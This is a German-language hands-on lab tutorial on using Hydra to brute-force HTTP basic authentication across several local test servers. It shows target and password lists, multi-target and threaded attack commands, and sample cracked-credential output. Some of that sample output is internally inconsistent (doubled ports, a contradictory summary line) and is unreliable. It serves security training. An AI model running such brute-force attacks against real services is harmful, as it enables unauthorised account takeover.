Angriff auf mehrere Ziele mit Hydra

HydraHydraBeginner
Jetzt üben

💡 Dieser Artikel wurde von AI-Assistenten übersetzt. Um die englische Version anzuzeigen, können Sie hier klicken

Einführung

In diesem Labor lernen Sie, wie Sie mit Hydra mehrere Ziele gleichzeitig angreifen. Das Labor konzentriert sich auf die Nutzung von Hydras Fähigkeiten, um Passwort-Cracking-Versuche gegen eine Liste von Zielhosts durchzuführen.

Das Labor führt Sie durch die Erstellung einer Zielliste mit IP-Adressen oder Hostnamen, das Laden dieser Datei in Hydra mit der Option -M, den parallelen HTTP-Angriff auf die Ziele und schließlich die Überprüfung der Ausgabe, um erfolgreiche Logins über mehrere Hosts zu identifizieren. Diese praktische Erfahrung vermittelt Ihnen praktische Fähigkeiten in der Verwendung von Hydra für Penetrationstests und Sicherheitsauditszenarien.

Erstellung einer Zielliste

In diesem Schritt erstellen Sie eine Datei mit der Zielliste. Diese Datei enthält eine Liste der Ziel-URLs, zu denen Hydra eine Verbindung herstellen und Passwörter knacken wird. Dies ist ein entscheidender Schritt in jedem Penetrationstest- oder Sicherheitsaudit-Szenario.

Eine Zielliste für HTTP-Angriffe enthält URLs anstelle nur von IP-Adressen. Jede Zeile repräsentiert einen Ziel-Webdienst mit HTTP-Basisauthentifizierung. In unserem Laborumfeld haben wir mehrere Apache-Webserver eingerichtet, die auf verschiedenen Ports mit Basisauthentifizierung laufen.

Alle Operationen in diesem Labor werden im Verzeichnis ~/project durchgeführt.

  1. Lassen Sie uns zunächst überprüfen, ob unsere Test-Webserver laufen:

    curl -I http://127.0.0.1:8081/ 2> /dev/null | head -1
    curl -I http://127.0.0.1:8082/ 2> /dev/null | head -1
    curl -I http://127.0.0.1:8083/ 2> /dev/null | head -1
    HTTP/1.1 401 Unauthorized
    HTTP/1.1 401 Unauthorized
    HTTP/1.1 401 Unauthorized

    Sie sollten HTTP-Antwort-Header sehen, die anzeigen, dass die Server laufen.

  2. Erstellen Sie die Datei targets mit unseren Test-Webservern:

    cd ~/project
    echo "127.0.0.1:8081" > targets.txt
    echo "127.0.0.1:8082" >> targets.txt
    echo "127.0.0.1:8083" >> targets.txt

    Dies erstellt eine Zielliste mit drei HTTP-Diensten, die auf dem lokalen Host an verschiedenen Ports laufen:

    • Port 8081: Geschützt mit Benutzer admin und Passwort password123
    • Port 8082: Geschützt mit Benutzer user und Passwort secret
    • Port 8083: Geschützt mit Benutzer testuser und Passwort password
  3. Überprüfen Sie, ob die Datei erstellt wurde und die Ziele enthält:

    cat ~/project/targets.txt

    Sie sollten eine Ausgabe wie folgt sehen:

    127.0.0.1:8081
    127.0.0.1:8082
    127.0.0.1:8083
  4. Testen Sie eine der geschützten Ressourcen, um zu bestätigen, dass die Authentifizierung erforderlich ist:

    curl http://127.0.0.1:8081/

    Sie sollten eine HTTP 401 Unauthorized-Antwort sehen, was bestätigt, dass die Basisauthentifizierung erforderlich ist.

Sie haben nun erfolgreich eine Zielliste mit dem Namen targets.txt in Ihrem Verzeichnis ~/project mit HTTP-Diensten erstellt, die eine Authentifizierung erfordern. Diese Datei wird im nächsten Schritt verwendet, um die Ziele in Hydra zu laden.

Ziele mit der Option -M laden

In diesem Schritt lernen Sie, wie Sie die Zielliste, die Sie im vorherigen Schritt erstellt haben, mit der Option -M in Hydra laden. Die Option -M teilt Hydra mit, die Liste der Zielhosts aus einer Datei zu lesen. Dies ist besonders nützlich, wenn Sie eine große Anzahl von Zielen zu testen haben.

Für HTTP-Angriffe lautet die grundlegende Syntax:

hydra -M <target_file> http-get <path>

Dabei gilt:

  • <target_file> ist der Pfad zur Datei, die die Liste der Zielhosts enthält.
  • http-get gibt an, dass wir HTTP-Basisauthentifizierung mit GET-Anforderungen angreifen.
  • <path> ist der Pfad auf dem Webserver, den wir angreifen (z. B. / für die Wurzel).

Erstellen wir einen Hydra-Befehl, um die Ziele aus der Datei targets.txt zu laden und die HTTP-Basisauthentifizierung anzugreifen.

  1. Erstellen Sie Benutzer- und Passwortlisten für unseren Angriff:

    cd ~/project
    echo "admin" > users.txt
    echo "user" >> users.txt
    echo "testuser" >> users.txt
    echo "root" >> users.txt

    Dies erstellt eine Benutzerliste mit den tatsächlichen von uns konfigurierten Benutzernamen sowie dem gängigen Benutzernamen root.

  2. Erstellen Sie eine Passwortliste:

    echo "password123" > passwords.txt
    echo "secret" >> passwords.txt
    echo "password" >> passwords.txt
    echo "admin" >> passwords.txt
    echo "123456" >> passwords.txt

    Dies erstellt eine Passwortliste, die die von uns konfigurierten tatsächlichen Passwörter sowie einige gängige schwache Passwörter enthält.

  3. Führen Sie nun den Hydra-Befehl aus, um die Ziele aus der Datei targets.txt zu laden und den Versuch zu starten, die HTTP-Basisauthentifizierung zu knacken:

    hydra -L ~/project/users.txt -P ~/project/passwords.txt -M ~/project/targets.txt http-get /

    Erwartete Ergebnisse: Sie sollten sehen, wie Hydra versucht, eine Verbindung zu allen drei HTTP-Diensten herzustellen und die Passwörter für jeden erfolgreich knackt:

    Hydra v9.x (c) 2023 by van Hauser/THC & David Maciejak - Bitte verwenden Sie dieses Tool nicht in militärischen oder Geheimdienstorganisationen oder für illegale Zwecke.
    
    Hydra (https://github.com/vanhauser-thc/thc-hydra) gestartet am 2023-XX-XX XX:XX:XX
    [DATA] max 16 Aufgaben pro 1 Server, insgesamt 64 Aufgaben, 60 Login-Versuche (l:4/p:5), ~1 Versuch pro Aufgabe
    [DATA] Angriff auf http-get://127.0.0.1:8081:80/
    [DATA] Angriff auf http-get://127.0.0.1:8082:80/
    [DATA] Angriff auf http-get://127.0.0.1:8083:80/
    [8081][http-get] Host: 127.0.0.1   Login: admin   Passwort: password123
    [8082][http-get] Host: 127.0.0.1   Login: user   Passwort: secret
    [8083][http-get] Host: 127.0.0.1   Login: testuser   Passwort: password
    1 von 3 Zielen abgeschlossen, 3 gültige Passwörter gefunden
    Hydra beendet.

    Dies zeigt, dass Hydra erfolgreich gültige Anmeldeinformationen für alle drei HTTP-Dienste gefunden hat.

  4. Bei Bedarf können Sie auch mit einem spezifischeren Pfad testen:

    hydra -L ~/project/users.txt -P ~/project/passwords.txt -M ~/project/targets.txt http-get /index.html

In diesem Schritt haben Sie erfolgreich gelernt, wie Sie Ziele aus einer Datei mit der Option -M in Hydra für HTTP-Angriffe laden. Dies ist eine grundlegende Fähigkeit für die Durchführung von Angriffen auf die Passwortknackung im großen Maßstab gegen Webdienste mit Basisauthentifizierung.

Paralleler HTTP-Angriff ausführen

In diesem Schritt lernen Sie, wie Sie einen parallelen HTTP-Angriff mit Hydra durchführen. Die parallele Ausführung von Angriffen beschleunigt den Knackprozess erheblich, insbesondere bei mehreren Zielen. Hydra ermöglicht es Ihnen, die Anzahl der parallelen Aufgaben mit der Option -t anzugeben.

Die Option -t steuert die Anzahl der parallelen Verbindungen, die Hydra herstellen wird. Bei HTTP-Angriffen ist dies besonders effektiv, da Webserver typischerweise mehrere gleichzeitige Verbindungen besser verarbeiten können als SSH-Dienste.

Ändern wir den vorherigen Hydra-Befehl, um den HTTP-Angriff mit einer bestimmten Anzahl von Threads auszuführen.

  1. Führen Sie den folgenden Hydra-Befehl aus, um den HTTP-Angriff mit 8 Threads auszuführen:

    cd ~/project
    hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get /

    In diesem Befehl gibt die Option -t 8 Hydra an, 8 parallele Threads zu verwenden. Dies bedeutet, dass Hydra versuchen wird, sich gleichzeitig mit mehreren Zielen zu verbinden und verschiedene Benutzer-/Passwortkombinationen parallel zu testen.

    Erwartete Ausgabe:

    Hydra v9.x (c) 2023 by van Hauser/THC & David Maciejak - Bitte verwenden Sie dieses Tool nicht in militärischen oder Geheimdienstorganisationen oder für illegale Zwecke.
    
    Hydra (https://github.com/vanhauser-thc/thc-hydra) gestartet am 2023-XX-XX XX:XX:XX
    [DATA] max 8 Aufgaben pro 1 Server, insgesamt 24 Aufgaben, 60 Login-Versuche (l:4/p:5), ~3 Versuche pro Aufgabe
    [DATA] Angriff auf http-get://127.0.0.1:8081:80/
    [DATA] Angriff auf http-get://127.0.0.1:8082:80/
    [DATA] Angriff auf http-get://127.0.0.1:8083:80/
    [8081][http-get] Host: 127.0.0.1   Login: admin   Passwort: password123
    [8082][http-get] Host: 127.0.0.1   Login: user   Passwort: secret
    [8083][http-get] Host: 127.0.0.1   Login: testuser   Passwort: password
    1 von 3 Zielen abgeschlossen, 3 gültige Passwörter gefunden
    Hydra beendet.
  2. Experimentieren Sie mit verschiedenen Werten für die Option -t. Versuchen Sie, die Anzahl der Threads zu erhöhen, um zu sehen, wie sich dies auf die Geschwindigkeit auswirkt:

    hydra -L users.txt -P passwords.txt -t 16 -M targets.txt http-get /

    Sie werden möglicherweise feststellen, dass der Angriff mit mehr Threads schneller abgeschlossen wird, aber die genaue Zeitdauer hängt von den Fähigkeiten Ihres Systems ab.

  3. Sie können auch detailliertere Ausgaben hinzufügen, um mehr Informationen über den Angriffsprozess zu erhalten:

    hydra -L users.txt -P passwords.txt -t 8 -v -M targets.txt http-get /

    Die Option -v liefert detailliertere Ausgaben, die jeden Login-Versuch anzeigen. Dies ist hilfreich, um genau zu verstehen, was Hydra testet.

  4. Für noch detailliertere Ausgaben können Sie die Option -V (sehr detailliert) verwenden:

    hydra -L users.txt -P passwords.txt -t 8 -V -M targets.txt http-get /

Wichtige Überlegungen für HTTP-Angriffe:

  • Webserver-Limits: Die meisten Webserver können viele gleichzeitige Verbindungen verarbeiten, wodurch HTTP-Angriffe im Allgemeinen schneller sind als andere Protokolle.
  • Rate Limiting: Einige Webanwendungen implementieren Rate Limiting, das möglicherweise schnelle Authentifizierungsversuche blockiert.
  • Protokollierung: HTTP-Authentifizierungsversuche werden in der Regel von Webservern protokolliert, was die Erkennung erleichtert.
  • SSL/HTTPS: Für HTTPS-Ziele verwenden Sie http-get mit SSL-fähigen Zielen oder https-get für explizites HTTPS.

In diesem Schritt haben Sie erfolgreich gelernt, wie Sie parallele HTTP-Angriffe mit Hydra mithilfe der Option -t durchführen. Diese Technik ist besonders effektiv für Webanwendungen mit Basisauthentifizierung.

Ausgabe für mehrere Hosts prüfen

In diesem Schritt lernen Sie, die Ausgabe von Hydra bei Angriffen auf mehrere HTTP-Ziele zu interpretieren. Die Ausgabe von Hydra liefert wertvolle Informationen über den Erfolg oder Misserfolg der Angriffsversuche auf verschiedenen Webdiensten.

Wenn Hydra ein HTTP-Basisauthentifizierungs-Passwort erfolgreich knackt, zeigt es die Anmeldeinformationen im folgenden Format an:

[<Port>][http-get] host: <Host>   login: <Benutzername>   password: <Passwort>

Beispiel:

[8081][http-get] host: 127.0.0.1   login: admin   password: password123

Dies zeigt an, dass Hydra die HTTP-Basisauthentifizierung für den Benutzer admin auf dem Host 127.0.0.1 am Port 8081 mit dem Passwort password123 erfolgreich geknackt hat.

Analysieren wir die Ausgabe von HTTP-Angriffen und verstehen, was unterschiedliche Ergebnisse bedeuten.

  1. Führen Sie den vollständigen Hydra-Angriffsbefehl erneut aus, um die vollständige Ausgabe zu sehen:

    cd ~/project
    hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get /
  2. Untersuchen Sie die detaillierte Ausgabe. Sie sollten Ergebnisse für alle drei Ziele sehen:

    Erwartete umfassende Ausgabe:

    Hydra v9.x (c) 2023 by van Hauser/THC & David Maciejak - Bitte verwenden Sie dieses Tool nicht in militärischen oder Geheimdienstorganisationen oder für illegale Zwecke.
    
    Hydra (https://github.com/vanhauser-thc/thc-hydra) gestartet am 2023-XX-XX XX:XX:XX
    [DATA] max 8 Aufgaben pro 1 Server, insgesamt 24 Aufgaben, 60 Login-Versuche (l:4/p:5), ~3 Versuche pro Aufgabe
    [DATA] Angriff auf http-get://127.0.0.1:8081:80/
    [DATA] Angriff auf http-get://127.0.0.1:8082:80/
    [DATA] Angriff auf http-get://127.0.0.1:8083:80/
    [8081][http-get] host: 127.0.0.1   login: admin   password: password123
    [8082][http-get] host: 127.0.0.1   login: user   password: secret
    [8083][http-get] host: 127.0.0.1   login: testuser   password: password
    1 von 3 Zielen abgeschlossen, 3 gültige Passwörter gefunden
    Hydra beendet.
  3. Um zu sehen, wie fehlgeschlagene Versuche aussehen, erstellen wir ein Szenario mit ungültigen Anmeldeinformationen. Erstellen Sie eine neue Passwortdatei mit hauptsächlich falschen Passwörtern:

    echo "wrongpass" > wrong_passwords.txt
    echo "badpass" >> wrong_passwords.txt
    echo "password123" >> wrong_passwords.txt ## Nur ein korrektes Passwort
  4. Führen Sie Hydra mit detaillierter Ausgabe aus, um sowohl erfolgreiche als auch fehlgeschlagene Versuche zu sehen:

    hydra -L users.txt -P wrong_passwords.txt -t 4 -v -M targets.txt http-get /

    Sie sehen eine detaillierte Ausgabe, die den erfolgreichen Versuch anzeigt:

    (Ausgabe wird hier nicht wiederholt)

  5. Speichern Sie die Ergebnisse zur späteren Analyse in einer Datei:

    hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get / -o hydra_results.txt

    Überprüfen Sie die Ergebnisdatei:

    cat hydra_results.txt

Interpretation der HTTP-Angriffs-Ergebnisse:

  • Erfolgreiche Angriffe: Zeilen, die mit [Port][http-get] beginnen, zeigen erfolgreiche Entdeckungen von Anmeldeinformationen.
  • Zielinformationen: Jedes erfolgreiche Ergebnis zeigt den genauen Host, Port, Benutzernamen und Passwort.
  • Zusammenfassende Statistiken: Die letzte Zeile zeigt, wie viele Ziele angegriffen wurden und wie viele gültige Passwörter gefunden wurden.
  • Fehlgeschlagene Versuche: Im Detailmodus sehen Sie jeden fehlgeschlagenen Login-Versuch.
  • Ausgabe-Dateien: Mit -o werden nur erfolgreiche Ergebnisse in eine Datei gespeichert, um die Analyse zu vereinfachen.

Hauptschwierigkeiten im Vergleich zu anderen Protokollen:

  • HTTP-Angriffe zeigen die Portnummer deutlich in den Ergebnissen an.
  • Reaktionszeiten sind in der Regel schneller als bei SSH-Angriffen.
  • Mehrere Authentifizierungsbereiche auf demselben Server erscheinen als verschiedene Ziele.
  • HTTP-Statuscodes (wie 401, 403) liefern zusätzliche Informationen über Fehler.

In diesem Schritt haben Sie gelernt, die Ausgabe von Hydra bei Angriffen auf mehrere HTTP-Ziele zu interpretieren, den Unterschied zwischen erfolgreichen und fehlgeschlagenen Versuchen zu verstehen und Ergebnisse zur Analyse zu speichern. Dieses Wissen ist entscheidend für effektive Webanwendungs-Sicherheitstests.

Zusammenfassung

In diesem Labor haben Sie gelernt, wie man mit Hydra Multi-Target-Angriffe auf HTTP-Dienste mit Basic-Authentifizierung durchführt. Sie haben eine Zielliste erstellt, die mehrere Webserver auf verschiedenen Ports enthält, die jeweils mit Basic-Authentifizierung und unterschiedlichen Benutzer- und Passwortkombinationen geschützt sind.

Sie haben entdeckt, wie man die Option -M verwendet, um mehrere Ziele aus einer Datei zu laden, wodurch es effizient ist, zahlreiche Webdienste gleichzeitig anzugreifen. Das Labor hat gezeigt, wie man die Option -t verwendet, um parallele Threads für schnellere HTTP-Angriffe zu steuern, und Sie haben gelernt, die Ausgabe von Hydra zu interpretieren, um erfolgreiche Authentifizierungsversuche über mehrere Ziele hinweg zu identifizieren.

Dieser Ansatz ist besonders wertvoll für die Sicherheitstests von Webanwendungen, bei denen Sie möglicherweise die Basic-Authentifizierung über mehrere Dienste, virtuelle Hosts oder verschiedene Pfade auf Webservern testen müssen. Die gelernten Techniken bilden eine Grundlage für umfassende Sicherheitsbewertungen von Webanwendungen in containerisierten Umgebungen.